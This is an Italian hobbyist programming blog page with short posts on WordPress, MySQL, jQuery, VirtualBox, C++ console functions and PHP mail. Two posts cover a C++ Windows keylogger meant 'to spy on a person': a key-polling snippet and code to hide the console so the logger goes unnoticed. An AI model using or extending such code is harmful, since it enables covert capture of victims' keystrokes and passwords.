Il blog per tutti gli smanettoni del pc

set 13

A volte abbiamo la necessità di isolare dei post che appartengono ad una determinata categoria. Purtroppo, attualmente, dal pannello wordpress non è possibile gestire direttamente questo piccolo particalare. Nulla pero’ è impossibile, inserendo una semplice riga di codice è possibile ottenere l’effetto desiderato. Continua a leggere »

lug 9

Oggi vi parlerò di IN e BETWEEN, due operatori fondamentali per la realizzazione di query mysql

Mi sembra poco utile versare parole in più per farvi capire dei concetti molto semplici, perciò vi butto giù subito gli esempi e li commenteremo insieme .

SELECT * FROM `tb_nome` WHERE title = 'Home' OR title = 'Info' OR title = 'Blog' OR title = 'Contatti';

La query appena scritta non fa altro che restituire tutti i record in cui il campo title contenga almeno una delle seguenti parole : ‘Home’,'Info’,'Blog’,'Contatti’ .

IN semplifica e rende più esplicita la query scritta sopra. Vediamo questo esempio :

SELECT * FROM `tb_nome` WHERE title IN('Home','Info','Blog','Contatti');

Semplice no ?

Between è anche molto intuitivo perchè restituisce i record in cui il campo specificato contenga un valore compreso fra due numeri :

SELECT * FROM `tb_nome` WHERE age BETWEEN 12 AND 18 ;
lug 5

Non tutti i componenti del form sono personalizzabili al 100%, a volte è possibile modificare solo alcune caratteristiche come il colore del testo e dello sfondo .
La select box difficilmente viene personalizzata via css perchè molti browser non accettano pienamente questa funzione .
Impariamo a creare una select box tutta nostra con l’ausilio del nostro amato framework Jquery !

Per l’occasione ho preparato questo semplice form che è costituito da una textbox , una select box e un submit .


Continua a leggere »

lug 4

Validare un form con jquery è davvero semplice : occorrono poche istruzioni per scrivere una funzione completa e sicura .
Non avevo mai validato un checkbox con jquery , cosi mi sono chiesto come sia possibile farlo senza usare javascript puro .

Girovagando sul sito di jquery sono arrivato ad una semplice conclusione , usare la funzione is() .

if($("#id_checkbox").is(":checked")){
      // Se checkbox è selezionato
}else{
      // Se checkbox non è selezionato
}

Spero di esservi stato utile ;) A domani !

lug 3

I Costum Field non sono altro che dei campi aggiuntivi da inserire in post e pagine per organizzare al meglio le informazioni . Dal mio punto di vista questa funzione è una delle più utili di wordpress perchè permette di creare dei veri e propri cms .

Inserirne uno è davvero semplice . Quando stai per salvare un nuovo post , in fondo alla pagina avrai sicuramente notato il box “Campi personalizzati” . Da li è possibile aggiungere tutti i parametri che vuoi .

Nella versione 3.0 di wordpress occorrono i seguenti passaggi :

  1. Fare click su Aggiungere Nuovo
  2. Compilare i due campi Nome e Valore
  3. Fare click su Aggiungi Campo Personalizzato

Continua a leggere »

lug 2

VirtualBox è un potente emulatore che permette di simulare delle macchine virtuali . Per chi non l’ha scaricato  vi consiglio di provarlo, è davvero figo avere piu’ sistemi operativi all’interno di una sola macchina fisica


Download VirtualBox

Pochi giorni fa ho creato due macchine virtuali con sistema operativo windows xp . L’iter della creazione di queste macchine, vuole che dopo aver impostato le caratteristiche del pc virtuale , l’utente installi il sistema operativo . Nel mio caso dovevo installare l’ S.O due volte , ma se volessi crearne dieci di macchine virtuali ? Mi tocca installare 10 volte XP , una rottura allucinante XD .

Ecco se voi avete lo stesso problema non vi allarmate perchè esiste un modo per clonare un hd di virtualbox . Quindi se io volessi creare dieci , venti macchine virtuali con xp è un gioco da ragazzi, basta creare una prima macchina , installo xp e poi clono l’hd .

Per clonare l’hd , andate nella console di windows ( cmd.exe ) , posizionatevi nella dir C:\Program Files\Oracle\VirtualBox\ e lanciate il comando VBoxManage con la seguente sintassi :

VBoxManage clonevdi nomefileorigine.vdi nomefilecopia.vdi

Importantissimo se i file vdi non si trovano all’interno della cartella VirtualBox in programmi , dovete specificare l’indirizzo assoluto del file . Se l’hd si trova in documenti , un esempio potrebbe essere il seguente :

VBoxManage clonevdi C:\Users\Alessio\Documents\nomefileorigine.vdi C:\Users\Alessio\Documents\nomefilecopia.vdi

Se avete qualche problema non esitate a contattarmi

Alla prossima ;)

feb 1

Lo scopo della funzione gotoxy, presente nella libreria conio.h , è quello di spostare il cursore della console.
DevC++ non contiene la libreria perciò,se non vogliamo installarla, l’unica soluzione è quella di creare la funzione:

#include <windows.h>
#include <stdio.h>
#include <iostream.h>
void gotoxy(int x,int y){     
     HANDLE HConsole;
     CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo;     
     HConsole = GetStdHandle(STD_OUTPUT_HANDLE);
     ConsoleInfo.dwCursorPosition.X = x;
     ConsoleInfo.dwCursorPosition.Y = y;     
     SetConsoleCursorPosition(HConsole,ConsoleInfo.dwCursorPosition);     
}
int main(){
    gotoxy(3,2);
    printf("IOSMANETTO.it\n");
    gotoxy(3,1);
    system("pause");
    return 1;
    }

HANDLE HConsole; HANDLE è simile ad un puntatore ma è piu’ complesso.

CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo; Dichiariamo ConsoleInfo come struttura CONSOLE_SCREEN_BUFFER_INFO . La struttura contiene informazioni sulla console come la posizione del cursore, il colore del testo e dello sfondo ecc.

HConsole = GetStdHandle(STD_OUTPUT_HANDLE); Otteniamo l’Handle della console

ConsoleInfo.dwCursorPosition.X = x; ConsoleInfo.dwCursorPosition.Y = y; Inseriamo le nuove coordinate

SetConsoleCursorPosition(HConsole,ConsoleInfo.dwCursorPosition);
SetConsoleCursorPosition setta la posizione del cursore. Come parametri passiamo l’handle della console e la nuova posizione.

gen 31

Nell’articolo precedente abbiamo realizzato un keylogger per windows in c++. Chi ha letto l’articolo e provato il keylogger avrà sicuramente notato un piccolo particolare : la console è visibile e chiunque puo’ notare la sua presenza. Come nasconderla allora ?

#include <windows.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
    HWND form; 
    form = GetForegroundWindow();
    ShowWindow(form, false);
    system("pause");
}

HWND form; Dichiara la variabile form di tipo HWND. HWND sta per (h)handle (wnd)window e viene usata per accedere alla proprietà di una finestra.

form = GetForegroundWindow(); La funzione GetForegroundWindow restituisce il puntatore della finestra in primo piano.

ShowWindow(form, false); ShowWindow modifica lo stato di una finestra. Con false indichiamo di nascondere la finestra

Semplice no !? Per il keylogger rendere invisibile la finestra è importantissimo ma non è il massimo : dal Taskmenager è sempre possibile individuare il processo .

gen 30

Lo scopo dell’articolo è puramente didattico. Non mi assumo nessuna responsabilità sull’uso illecito dello script.

Per spiare una persona non è necessario nulla di complicato: basta infatti intercettare in qualche modo quello che viene digitato sulla tastiera. Lo strumento necessario per questo tipo di operazione è il keylogger che puo’ essere software o hardware.

Oggi parleremo di quello software realizzandone uno in c++.

Lo scopo del keylogger è quello di intercettare i tasti premuti dall’utente e registrali in un file.
La funzione GetAsyncKeyState, presente nella libreria windows.h, è indispensabile perchè restituisce lo stato di un bottone , cioè se è premuto o no.

Ecco un semplice esempio per utilizzare questa funzione.

#include <stdio .h>
#include <windows .h>
#include <stdlib .h>
int main(){   
    while(1){                     
             if(GetAsyncKeyState(65)==-32767){                                             
                    cout < < "Tasto A premuto\n";                                                         
              }                           
    }    
    return 1;
}

Continua a leggere »

gen 18

In php è possibile inviare una email con la funzione mail()

Un semplice esempio potrebbe essere il seguente :

$mes = "Questa è una email di prova";
if(mail("destinatario@email.com","Oggetto email",$mes)){
       echo "Messaggio Inviato";
}else{
       echo "Messaggio non inviato";
}

Il primo parametro della funzione è il destinatario . Il secondo l’oggetto dell’email e l’ultimo il messaggio.